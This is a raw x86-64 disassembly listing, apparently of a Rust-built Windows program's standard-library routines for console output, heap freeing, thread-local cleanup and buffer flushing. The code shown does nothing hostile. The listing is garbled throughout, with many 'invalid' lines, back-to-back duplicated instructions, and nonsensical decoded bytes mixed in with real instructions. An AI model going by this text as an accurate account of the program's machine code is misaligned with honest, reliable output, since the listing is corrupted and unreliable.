add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
je 0x1400d3733
mov rax, qword [rbp - 0x18]
cmp qword [rax + 0x10], 0x11
jb 0x1400d3720
mov rax, qword [rbp - 0x10]
mov rax, qword [rax - 8]
mov qword [rbp - 0x10], rax
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp - 0x20]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbp
ret
add dword [rax - 0x7d], ecx
invalid
ret
int3
int3
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov dword [rbp], 0xfffffffe
mov rsi, rcx
mov dword [rbp - 4], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x80fa], al
cmp edx, 0x80
jae 0x1400d3833
cmp edx, 0x80
add byte [rax], al
jae 0x1400d3833
mov byte [rbp - 4], dl
mov r8d, 1
mov eax, 1
mov eax, 1
add cl, ch
add dword [rax], 0xd0890000
add byte [rax], al
mov eax, edx
jmp 0x1400d38b4
add byte [rax], al
mov eax, edx
cmp edx, 0x800
add byte [rax], al
jae 0x1400d3856
shr eax, 6
or al, 0xc0
invalid
mov byte [rbp - 4], al
ror byte [rax - 0x1d7f03bb], 0x3f
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
push rbp
std
retf 0x8880
std
mov r8d, 2
jmp 0x1400d38b4
pop rsi
add byte [rax], al
add bl, ch
pop rsi
cmp edx, 0xffff
ja 0x1400d3883
and eax, 0xc0ce8c1
loopne 0x1400d37ec
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
cld
cld
cld
mov eax, edx
shr eax, 6
invalid
invalid
and al, 0x3f
call 0x14c4c5c74
or byte [rax - 0x1d7f02bb], 0x3f
std
and dl, 0x3f
or al, 0x80
mov byte [rbp - 3], al
std
std
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 2], dl
push rbp
inc byte [rcx - 0x48]
add eax, dword [rax]
add byte [rax], al
push rbp
inc byte [rcx - 0x48]
add eax, dword [rax]
add byte [rax], al
jmp 0x1400d38b4
shr eax, 0x12
and al, 7
adc ah, byte [rdi + rax]
or al, 0xf0
mov byte [rbp - 4], al
invalid
mov eax, edx
shr eax, 0xc
or al, 0x24
invalid
or al, 0x80
invalid
mov byte [rbp - 3], al
or al, 0x24
invalid
or byte [rax - 0x2f7602bb], 0xc1
call 0x14c4c5ca7
invalid
and al, 0x3f
invalid
mov eax, edx
shr eax, 6
invalid
and al, 0x3f
or al, 0x80
or byte [rax - 0x1d7f01bb], 0x3f
invalid
or byte [rax - 0x1d7f01bb], 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
mov rcx, qword [rsi]
lea rdx, [rbp - 4]
call fcn.1400d3950
test rax, rax
je 0x1400d38ec
mov qword [rbp - 0x18], rax
lea rax, [rsi + 8]
mov qword [rbp - 0x10], rax
cmp qword [rsi + 8], 0
je 0x1400d38e1
mov rcx, qword [rbp - 0x10]
call case.0x140019144.3166
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
test rax, rax
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
in al, dx
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
test r8, r8
je 0x1400d3a0e
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
lea r14, [rbp - 8]
lea r15, str.failed_to_write_whole_buffer
lea edi, [0x1401495f8]
lea edi, [0x1401495f8]
lea r12, [0x140178424]
jmp 0x1400d39a3
cmp byte [rdx + 0xf], 0x23
jne case.0x1400d39cf.2
mov rcx, r14
call case.0x140019144.3166
test rsi, rsi
je 0x1400d3a0e
mov ecx, 0xfffffff4
mov rdx, rdi
mov r8, rsi
mov r9, rbx
call 0x1400d3a40
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
test rax, rax
je 0x1400d39e0
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x1400d3996
jmp case.0x1400d39cf.2
test rdx, rdx
je case.0x140019144.2854
mov rax, rsi
sub rax, rdx
jb 0x1400d3a27
add rdi, rdx
mov rsi, rax
test rsi, rsi
jne 0x1400d39a3
jmp 0x1400d3a0e
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x1400d3996
jmp case.0x1400d39cf.2
xor edx, edx
ror byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
mov rax, rdx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rdx, r15
jmp case.0x1400d39cf.2
lea r8, [0x140149610]
mov rcx, rdx
mov rdx, rsi
call fcn.1401082c0
int3
push rbp
push r14
push rsi
push rsi
push rsi
push rdi
push rbx
sub rsp, 0xd0
in al, dx
rol byte [rax], 1
add byte [rax], al
in al, dx
rol byte [rax], 1
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x48], 0xfffffffffffffffe
test r8, r8
je 0x1400d3a9b
mov rsi, r9
mov rbx, r8
invalid
mov rdi, rdx
call qword [sym.imp.kernel32.dll_GetStdHandle]
adc eax, 0x3e7df
adc eax, 0x3e7df
add byte [rcx - 0x77], cl
invalid
mov r14, rax
mov eax, 1
test r14, r14
je 0x1400d3aa1
cmp r14, 0xffffffffffffffff
jne 0x1400d3ab9
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
jmp 0x1400d3aab
add bl, ch
adc byte [rcx], dh
xor edx, edx
xor eax, eax
jmp 0x1400d3aab
invalid
sal byte [rcx], cl
shr bl, 0xa
invalid
or cl, byte [rax - 0x46]
add al, byte [rax]
add byte [rax], al
add byte [rsi], al
movabs rdx, 0x600000002
add byte [rax], al
add byte [rsi], al
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
add rsp, 0xd0
add esp, 0xd0
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov dword [rbp - 0x20], 0
lea rdx, [rbp - 0x20]
mov rcx, r14
call qword [sym.imp.kernel32.dll_GetConsoleMode]
test eax, eax
je 0x1400d3b91
mov byte [rsi + 4], al
movzx ecx, byte [rsi]
lea rdx, [0x14014a6a0]
movzx edi, byte [rcx + rdx]
mov qword [rbp - 0x28], rdi
cmp al, dil
jb 0x1400d3ca7
movzx r8d, al
cmp al, 5
jae 0x1400d3d4a
lea rcx, [rbp + 0x20]
mov rdx, rsi
call fcn.140014520
mov byte [rsi + 4], 0
cmp qword [rbp + 0x20], 0
jne 0x1400d3cb3
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x10], rax
cmp rax, rdi
jne 0x1400d3da6
mov rcx, r14
mov r8, rdi
call fcn.1400d3e20
test rax, rax
jne 0x1400d3aab
mov qword [rbp + 0x40], rdx
mov qword [rbp + 0x10], rdi
cmp rdi, rdx
jne 0x1400d3dc6
mov edx, 1
jmp 0x1400d3aab
sub byte [r13 - 0x7b], r9b
sal byte [rsp + rbx*2 + 0x49], 0x39
pop rsp
cmp r8, rbx
invalid
xchg dword [rsi], esp
pop rsp
cmp r8, rbx
ja 0x1400d3d61
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
loopne 0x1400d3c88
invalid
lea rcx, [rbp - 0x20]
mov rdx, rdi
mov edx, edi
call fcn.140014520
cmp qword [rbp - 0x20], 0
jne 0x1400d3d76
test dword [rcx + rax], esp
add byte [rax], al
dec dword [rax - 0x7d]
jge 0x1400d3c2b
add byte [rdi], cl
test dword [rcx + rax], esp
add byte [rax], al
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
push rbp
call 0x13052c7a6
jmp case.0x14001a5bd.2561
and eax, 0x446c6
lea rdx, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
adc eax, 0x76b89
adc eax, 0x76b89
jmp 0x1400d3aab
invalid
sar edi, 0x15
adc al, 0xe8
call 0x151f63c79
invalid
invalid
invalid
call 0x151f63c79
invalid
adc esi, edi
invalid
mov rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x30]
mov rcx, r14
call fcn.1400d3e20
xchg edi, eax
add dword [rax], eax
invalid
xchg edi, eax
add dword [rax], eax
add cl, ch
sbb eax, 0xffffffe
dec dword [rdi]
jmp 0x1400d3aab
dec dword [rdi]
mov dh, 7
lea rcx, [0x14014a6a0]
movzx ecx, byte [rax + rcx]
mov dh, 0xc
or byte [rax + 0x39], cl
cmp ecx, ebx
push 7
add byte [rdi], cl
mov dh, 0xc
or byte [rax + 0x39], cl
cmp ecx, ebx
jbe 0x1400d3cb3
cmp ecx, ebx
jbe 0x1400d3cb3
mov byte [rsi], al
mov byte [rsi + 4], 1
add al, 1
add al, 1
mov edx, 1
xor eax, eax
shr cl, 0xf8
std
invalid
invalid
add byte [rax], al
add byte [rcx], dh
shr cl, 0xf8
std
invalid
mov eax, 1
lea rdx, str.Windows_stdio_in_console_mode_does_not_support_writing_non_UTF_8_byte_sequences
lea edx, [0x14014a7f0]
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x14014a7f0]
lea edx, [0x14014a7f0]
invalid
jmp 0x1400d3aab
std
invalid
lea eax, [0x14014a878]
mov qword [rbp - 0x20], rax
loopne 0x1400d3d18
mov dword [rbp - 0x18], 1
invalid
loopne 0x1400d3d18
mov dword [rbp - 0x18], 1
call 0x1400d3cd8
add byte [rax], al
mov qword [rbp - 0x10], 8
lock or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
clc
ror byte [rdi], 0x11
clc
clc
clc
lea rdx, str.library_std_src_syspalwindows_stdio.rs
wait
imul eax, dword [rdi], 0
lea rcx, [rbp - 0x20]
call fcn.140108280
mov qword [rbp - 0x30], r14
mov dword [rbp + 0x40], 0
mov byte [rbp + 0x44], 0
lea rax, [0x14014a520]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rax, [rbp - 0x28]
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea rcx, [rbp + 0x40]
lea rdx, [rbp - 0x20]
call fcn.1400d3590
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10]
call fcn.1400d3630
mov ecx, 7
int 0x29
ud2
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov edx, 4
mov rcx, r8
mov r8, rax
call fcn.140108340
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov rcx, r8
mov rdx, rbx
mov r8, rax
call fcn.140108340
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x10], xmm0
lea rax, str.library_std_src_syspalwindows_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401488c8]
lea r8, [rbp + 0x10]
mov edx, 0x2b
add al, ch
pop rdx
add rax, qword [rax]
add al, ch
pop rdx
add rax, qword [rax]
mov qword [rbp - 0x20], 0
lea r9, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x20]
call fcn.14010fe60
mov qword [rbp - 0x20], 0
lea r9, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp + 0x40]
lea rdx, [rbp + 0x10]
lea r8, [rbp - 0x20]
call fcn.14010fe60
int3
add byte [rax], al
cmp byte [rax + 0x1000], 0xbf
jg 0x1400d3e8c
mov esi, 0xfff
cmp byte [rax + 0xfff], 0xbf
jg 0x1400d3e8c
invalid
and dword [rcx], esi
leave
xor ecx, ecx
cmp byte [rax + 0xffe], 0xc0
setge cl
lea rsi, [rcx + 0xffd]
cmp byte [rax + rcx + 0xffd], 0xbf
jle 0x1400d40a3
lea rcx, [rbp - 0x48]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x28], 0x1000
mov ecx, 0xfde9
mov edx, 8
mov r8, rax
mov eax, eax
mov eax, eax
mov r9d, esi
int1
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
invalid
jrcxz 0x1400d3eb5
add byte [rbp - 0x7e7bf040], al
ror byte [rdi], 0x84
add dword [rcx], 0x63480000
add dword [rax], eax
add byte [rax + 0x63], cl
je 0x1400d403c
add dword [rax], eax
add byte [rax + 0x63], cl
movsxd rbx, eax
cmp eax, 0x1001
fdivr dword [0x1400d4ec4]
jae 0x1400d407d
mov dword [rbp + 0x1fb8], 0
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x20], 0
lea rdx, [rbp - 0x48]
lea r9, [rbp + 0x1fb8]
mov rcx, r14
mov ecx, esi
invalid
mov ecx, esi
mov r8d, eax
call qword [sym.imp.kernel32.dll_WriteConsoleW]
jrcxz 0x1400d3ef5
invalid
sar bh, 0x15
jge 0x1400d3ed4
invalid
jrcxz 0x1400d3ef5
add eax, dword [rax]
add byte [rbp + 0x3840fc0], al
test eax, eax
ror byte [rdi], 0x84
add eax, dword [rcx]
add dword [rax], eax
invalid
je 0x1400d3ffe
add dword [rax], eax
add byte [rbx + 0x1fb8bd], cl
add byte [rax + 0x39], cl
sti
mov edi, dword [rbp + 0x1fb8]
cmp rbx, rdi
je 0x1400d4017
jbe 0x1400d402a
movzx eax, word [rbp + rdi*2 - 0x48]
add eax, 0x2312
movzx eax, ax
cmp eax, 0x312
jae 0x1400d3f8b
lea rdx, [rdi*2 - 0x48]
add rdx, rbp
inc rdi
mov dword [rbp + 0x1fec], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x1fec]
mov rcx, r14
mov r8d, 1
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
jne 0x1400d3f8b
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x1fb8], 1
lea rcx, [rbp + 0x1fc0]
mov qword [rbp + 0x1fc0], rax
call case.0x140019144.3166
cmp rdi, rbx
ja 0x1400d4091
test rdi, rdi
je 0x1400d4015
add rdi, rdi
xor eax, eax
xor esi, esi
jmp 0x1400d3fbc
add rsi, rdx
add rax, 2
cmp rdi, rax
je 0x1400d4017
movzx ecx, word [rbp + rax - 0x48]
mov edx, 1
cmp ecx, 0x80
jb 0x1400d3fb0
movzx r8d, cx
mov edx, 2
cmp r8d, 0x800
jb 0x1400d3fb0
add ecx, 0x2312
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
jmp 0x1400d3fb0
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov eax, 1
jmp 0x1400d4019
xor esi, esi
xor eax, eax
mov rdx, rsi
add rsp, 0x2070
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea r8, str.library_std_src_syspalwindows_stdio.rs
mov rcx, rdi
mov rdx, rbx
call fcn.1401082d0
lea rax, str.Unexpected_error_in_MultiByteToWideChar
mov qword [rbp + 0x1fb8], rax
mov qword [rbp + 0x1fc0], 1
mov qword [rbp + 0x1fc8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1fd0], xmm0
lea rdx, str.library_std_src_syspalwindows_stdio.rs
lea rcx, [rbp + 0x1fb8]
call fcn.140108280
lea r8, str.library_std_src_syspalwindows_stdio.rs
mov edx, 0x1000
mov rcx, rbx
call fcn.140108340
lea r8, str.library_std_src_syspalwindows_stdio.rs
mov rcx, rdi
mov rdx, rbx
call fcn.140108340
lea rcx, str.library_std_src_syspalwindows_stdio.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdx, r8
xor r8d, r8d
mov r9, rsi
call fcn.1401087e0
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x775be
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x775be
mov r8d, 4
add rsp, 0x48
invalid
pop rsi
pop rbp
jmp rax
invalid
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
int3
shl dword [rax], 0xf
test dword [rax + rax - 0x49f10000], edx
add byte [rax - 0x7d], cl
clc
jb 0x1400d4654
movzx ecx, al
lea r8d, [rcx + rcx*4]
lea r8d, [rcx + r8*8]
shr r8d, 0xc
imul ecx, r8d, 0x64
sub al, cl
movzx eax, al
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
movzx eax, word [rcx + rax*2]
mov word [rbp - 0x2b], ax
mov ecx, 0x24
mov eax, r8d
jmp 0x1400d465d
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
pop rcx
push rdi
pop rcx
push rdi
cmp r9b, 0xa
movzx r9d, r10b
movzx ecx, dl
movzx ecx, dl
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae case.0x140019144.3179
jmp 0x1400d4616
nop word cs:[rax + rax]
mov rcx, r9
mov r9d, eax
and r9b, 0xf
shr r8b, 4
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
cmp al, 0x10
mov eax, r8d
jae 0x1400d45e0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400d46b1
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1401721e0]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400d46a2
mov ecx, 0x26
cmp al, 0xa
jae 0x1400d4665
or al, 0x30
mov byte [rbp + rcx - 0x50], al
jmp 0x1400d4679
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
movzx eax, word [rcx + rax*2]
mov word [rbp - 0x2b], ax
mov ecx, 0x25
lea rax, [rcx + rbp]
add rax, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov dl, 1
xor r9d, r9d
call fcn.140013020
nop
add rsp, 0xb0
pop rbp
ret
lea r8, [0x140114220]
mov edx, 0x80
call fcn.1401082c0
int3
mov eax, edx
and eax, 3
mov qword [rbp], rax
mov dword [rbp], eax
mov dword [rbp], eax
cmp rax, 2
jne 0x1400d499b
add rdx, 0xfffffffffffffffe
je 0x1400d4986
mov rdi, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add eax, dword [rax]
jmp 0x1400d4948
mov rdx, rbx
mov edx, ebx
test rbx, rbx
je 0x1400d4986
mov rsi, qword [rdx]
mov rbx, qword [rdx + 8]
mov qword [rdx], 0
add byte [rax - 0x7b], cl
invalid
je 0x1400d498f
add byte [rax - 0x7b], cl
div byte [rsp + rsi - 0x3a]
adc byte [rcx], al
mov byte [rdx + 0x10], 1
mov al, 1
xchg byte [rsi + 0x30], al
cmp al, 0xff
je 0x1400d4970
lock dec qword [rsi]
jne 0x1400d4940
jmp 0x1400d497c
lea rcx, [rsi + 0x30]
call rdi
lock dec qword [rsi]
jne 0x1400d4940
mov rcx, rsi
call fcn.1400d4b70
jmp 0x1400d4940
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x14014ad80]
call fcn.140108690
mov qword [rbp - 0x30], 0
lea rdx, [0x14014e7d8]
lea r9, [0x14014ad98]
mov rcx, rbp
lea r8, [rbp - 0x30]
call fcn.14010fe60
int3
add byte [rax - 0x75], cl
add al, 0xc2
mov byte [rax + 0xc8], 2
or al, 0
add byte [rax], al
add cl, byte [rax - 0x75]
add dword [rax - 0x7b], ecx
invalid
je 0x1400d49f5
or al, 0
add byte [rax], al
add cl, byte [rax - 0x75]
add dword [rax - 0x7b], ecx
sal byte [rdi + rcx - 0x10], 0x48
dec dword [rax]
lock dec qword [rax]
jne 0x1400d49f5
mov rcx, qword [rcx]
pop rbp
jmp fcn.1400d4b70
add byte [rax], al
add byte [rax], al
nop
pop rbp
ret
js 0x1400d4a51
lea ebp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, rcx
mov rax, qword [0x140112688]
add byte [rbx + 0xad8ef05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0xad8ef05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x1400d4adb
mov rsi, rdx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add byte [rax - 0x75], cl
add al, 0xc1
mov qword [rax + 0x58], 0xffffffffffffffff
mov rbx, qword [rax + 0x70]
cmp rbx, qword [rax + 0x60]
jne 0x1400d4a95
call fcn.1400d4c30
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
inc rax
jmp 0x1400d4a97
xor eax, eax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rbx
shl r8, 4
mov qword [rdx + r8], rdi
mov qword [rdx + r8 + 8], rsi
inc rbx
mov qword [rcx + 0x70], rbx
mov qword [rcx + 0x58], rax
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov dword [rbp - 0x10], 0
mov byte [rbp - 0xc], 0
lea rax, str.fatal_runtime_error:_global_allocator_may_not_use_TLS_n
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
lea rax, [rbp - 8]
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x48]
call fcn.1400d3590
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x18]
call fcn.1400d3630
mov ecx, 7
int 0x29
ud2
int3
int3
invalid
and eax, 0x58
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x1400d4f77
nop dword [rax + rax]
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rax, qword [rax + 0x70]
test rax, rax
je 0x1400d4f83
dec rax
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rsi, qword [rdx + rcx*8]
mov qword [rsi + 0x70], rax
add byte [rax - 0x75], cl
xchg esi, eax
push 0x48000000
shl eax, 4
loopne 0x1400d4f5b
add byte [rax - 0x75], cl
xchg esi, eax
push 0x48000000
shl eax, 4
loopne 0x1400d4f5b
loopne 0x1400d4f5b
mov rcx, qword [rdx + rax]
mov rax, qword [rdx + rax + 8]
mov qword [rsi + 0x58], 0
add byte [rax], al
add byte [rax], al
call rax
cmp qword [rsi + 0x58], 0
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
je 0x1400d4f10
lea rcx, str.library_std_src_syspalwindows_thread_local_key.rs
call fcn.140108540
mov eax, dword [0x140182314]
add eax, 0xad38b
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov r8, qword [rax + 0x68]
cmp qword [rax + 0x60], 0
mov qword [rax + 0x60], 0
mov qword [rax + 0x68], 8
mov qword [rax + 0x70], 0
mov qword [rax + 0x58], 0
je 0x1400d4fe9
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rsi
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
mov r8, qword [rcx + 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jo 0x1400d531e
add byte [rax], al
mov qword [rbp - 0x18], rax
test rax, rax
je 0x1400d5332
call 0x1b4cdd870
or dword [rax - 0x73], ecx
call 0x13ff07219
dec dword [rax - 0x75]
invalid
lea rcx, [rbp - 0x18]
call case.0x140019144.3166
mov rcx, qword [rbp - 0x10]
cmp qword [rcx], 0
jne 0x1400d52fe
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
cmp qword [rax], 0
je 0x1400d537f
mov rax, qword [rbp - 0x10]
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbp
ret
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov r14, qword [rcx + 0x10]
test r14, r14
je 0x1400d54f8
test byte [rdx + 1], al
add byte [rax], al
test byte [rdx + 1], al
add byte [rax], al
lea rsi, [rcx + 0x19]
jno 0x1400d53d3
lea rdi, [rbp - 0x28]
lea rbx, [rbp - 0x18]
xor r9d, r9d
lea r15, str.failed_to_write_the_buffered_data
mov qword [rbp - 8], rcx
jmp 0x1400d53ed
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov r14, qword [rcx + 0x10]
cmp r9, r14
jae 0x1400d54d5
mov byte [rcx + 0x18], 1
sub r14, r9
mov rdx, qword [rcx + 8]
mov qword [rbp - 0x10], r9
add rdx, r9
mov ecx, 0xfffffff5
mov r8, r14
mov r9, rsi
call 0x1400d3a40
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
cmp rax, 1
jne 0x1400d5470
mov eax, edx
and eax, 3
cmp rax, 2
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
jae 0x1400d5450
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], rdx
mov byte [rcx + 0x18], 0
cmp eax, 1
jne 0x1400d5489
cmp byte [rdx + 0xf], 0x23
je 0x1400d54c0
jmp 0x1400d54ff
cmp eax, 2
jne 0x1400d5491
mov rax, rdx
shr rax, 0x20
cmp eax, 6
jne 0x1400d554c
mov rcx, rdi
call case.0x140019144.3166
mov rdx, r14
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
mov byte [rcx + 0x18], 0
test rdx, rdx
je 0x1400d54fc
add r9, rdx
jmp 0x1400d53e0
cmp byte [rdx + 0x10], 0x23
je 0x1400d54c0
jmp 0x1400d54ff
mov rax, rdx
shr rax, 0x20
mov qword [rbp - 0x20], 1
mov qword [rbp - 0x18], rdx
mov byte [rcx + 0x18], 0
cmp eax, 0x28
ja 0x1400d54ff
cmp rax, 0x23
jne 0x1400d54ff
nop word cs:[rax + rax]
mov rcx, rbx
call case.0x140019144.3166
mov rcx, qword [rbp - 8]
mov r9, qword [rbp - 0x10]
jmp 0x1400d53e0
test r9, r9
je 0x1400d54f8
invalid
invalid
xor esi, esi
mov edx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r14, r9
jae 0x1400d5538
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, r9
mov rdx, r14
call fcn.140108340
xor edx, edx
jmp 0x1400d553c
mov rdx, r15
test r9, r9
je 0x1400d553c
mov rax, qword [rcx + 0x10]
mov rsi, rax
sub rsi, r9
jb 0x1400d5557
mov qword [rcx + 0x10], 0
je 0x1400d553c
mov rbx, rcx
mov rcx, qword [rcx + 8]
add r9, rcx
mov rdi, rdx
mov rdx, r9
mov r8, rsi
call fcn.140106250
mov rcx, rbx
mov rdx, rdi
mov qword [rcx + 0x10], rsi
mov rax, rdx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov byte [rcx + 0x18], 0
test r9, r9
jne 0x1400d5504
jmp 0x1400d553c
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, r9
mov rdx, rax
call fcn.140108340
int3
clc
mov rdx, qword [rbp - 0x10]
call fcn.1400d55a0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rcx]
pop rbp
jmp fcn.1400d4b70
stosb byte [rdi], al
hlt
invalid
invalid
stosb byte [rdi], al
hlt
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
call 0x106fd9c90
int1
invalid
call 0x106fd9c90
int1
